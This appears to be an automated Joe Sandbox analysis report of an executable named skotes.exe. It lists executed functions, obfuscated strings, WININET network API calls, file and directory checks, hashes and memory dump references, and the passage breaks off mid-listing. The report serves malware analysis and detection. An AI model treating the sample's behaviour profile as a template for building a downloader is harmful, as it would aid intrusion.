Opcode Fuzzy Hash: 41393a740baf18c5b7f79d80e5a879a6099d27538e2712b0f112d3cb9fbcee95
Instruction Fuzzy Hash: 0521ED76A00119EFDF01EFA4D885AFEBBB9EF48714F108065F901A7251DB789D019BA1

Analysis Process: skotes.exePID: 7520, Parent PID: 1060COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.9%
Total number of Nodes:	371
Total number of Limit Nodes:	27

Executed Functions

Function 007AE530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 968
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UA==, xrefs: 007AEB0F, 007AED56
WTs=, xrefs: 007B05CA
111, xrefs: 007AF7A0
MGE+, xrefs: 007AE821
9c9aa5, xrefs: 007AFB8E
WTw=, xrefs: 007B097D
MQ==, xrefs: 007AE592
WDw=, xrefs: 007AF71D, 007AF9FA
#, xrefs: 007B0624
GnNoc2Hc, xrefs: 007AE56C
246122658369, xrefs: 007AF737, 007AFA14, 007B05E7, 007B099A

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 308545c87ce67c43afe7efc3e98cc7a72b5dc4cff65ca1783c3c28b03fa763e3
Instruction ID: fe4a7c10b6b0a3d0463d41210adbf2e3d9977b2f48fdab10e88cbef51facb66e
Opcode Fuzzy Hash: 308545c87ce67c43afe7efc3e98cc7a72b5dc4cff65ca1783c3c28b03fa763e3
Instruction Fuzzy Hash: A282E470904288DBEF18EF68C9597DE7FB5EB46304F508688E805673C2D7795A88CBD2

Function 007E2517 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,007F6758), ref: 007E275C

Strings

Eastern Standard Time, xrefs: 007E27CB
Eastern Summer Time, xrefs: 007E27FA

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 3d4c247819901455945073d29e17a159b617040e6b85bc7f68af27a78a50d7bf
Instruction ID: dc50d17b2801a36eeb7ec0cc58a17f09a506c37e53ce902efcb48ab8c63581cb
Opcode Fuzzy Hash: 3d4c247819901455945073d29e17a159b617040e6b85bc7f68af27a78a50d7bf
Instruction Fuzzy Hash: 3BC13871A02289EFDB149F2A8C45AAA7BBDEF4D314F24019AE541D7253EB399E03C750

Function 007AEB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AEB51
CreateDirectoryA.KERNEL32(00000000), ref: 007AEC83
GetFileAttributesA.KERNEL32(00000000), ref: 007AED98

Strings

stoi argument out of range, xrefs: 007B08C4
FCQgKF==, xrefs: 007AFEE4
GiQaT29tduF=, xrefs: 007AFEB6
invalid stoi argument, xrefs: 007B08B0
#, xrefs: 007B0624
246122658369, xrefs: 007AF737, 007AFA14, 007AFE00, 007B05E7
UA==, xrefs: 007AEC41, 007AED56, 007AEF89, 007AF2CE
WTs=, xrefs: 007B05CA
mxo1L0x, xrefs: 007AEE84
111, xrefs: 007AF7A0
9c9aa5, xrefs: 007AFB8E
WDw=, xrefs: 007AF71D, 007AF9FA, 007AFDE3
FisgLnsCZO1i, xrefs: 007AFF19

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: c31fee42a19df0fd5dc46f2b00f8c04304498d97b10df5137bf1056e54965764
Instruction ID: 9bdfa57a1c4d905eca8f5924b6b9de0e82960f0b06cf38bead96a458e68f9306
Opcode Fuzzy Hash: c31fee42a19df0fd5dc46f2b00f8c04304498d97b10df5137bf1056e54965764
Instruction Fuzzy Hash: BCF21B71A00144DBEB18DB78CD8D7DD7B72AF86304F148298E449A73D6EB3D9A84CB91

Function 007ABE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,749A099C,?,00000000), ref: 007ABEB8
InternetOpenW.WININET(007F8DC8,00000000,00000000,00000000,00000000), ref: 007ABEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 007ABEEC
HttpOpenRequestA.WININET(?,00000000), ref: 007ABF36
HttpSendRequestA.WININET(?,00000000), ref: 007ABFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 007AC0A8
InternetCloseHandle.WININET(?), ref: 007AC187
InternetCloseHandle.WININET(?), ref: 007AC18F
InternetCloseHandle.WININET(?), ref: 007AC197

Strings

stoi argument out of range, xrefs: 007AE4EA
8HJUeMD Lq5=, xrefs: 007AC465
invalid stoi argument, xrefs: 007AE4F4
RE1NXF==, xrefs: 007ABF0E
8HJUeIfzLo==, xrefs: 007AC3CB, 007AC623

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 39ef317136629c59c2ad9e1e14e8dc64fe15ba9ebe2a3862b661413d189056e7
Instruction ID: 3f0c4b667ede095c78b540deb3dab3e950693bf01d6d7019f877e352654725c3
Opcode Fuzzy Hash: 39ef317136629c59c2ad9e1e14e8dc64fe15ba9ebe2a3862b661413d189056e7
Instruction Fuzzy Hash: CBB1C4B1600118ABDB25CF28CC89BDE7B79EF86304F504299F509972D2D7799AC0CF95

Function 007A6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph
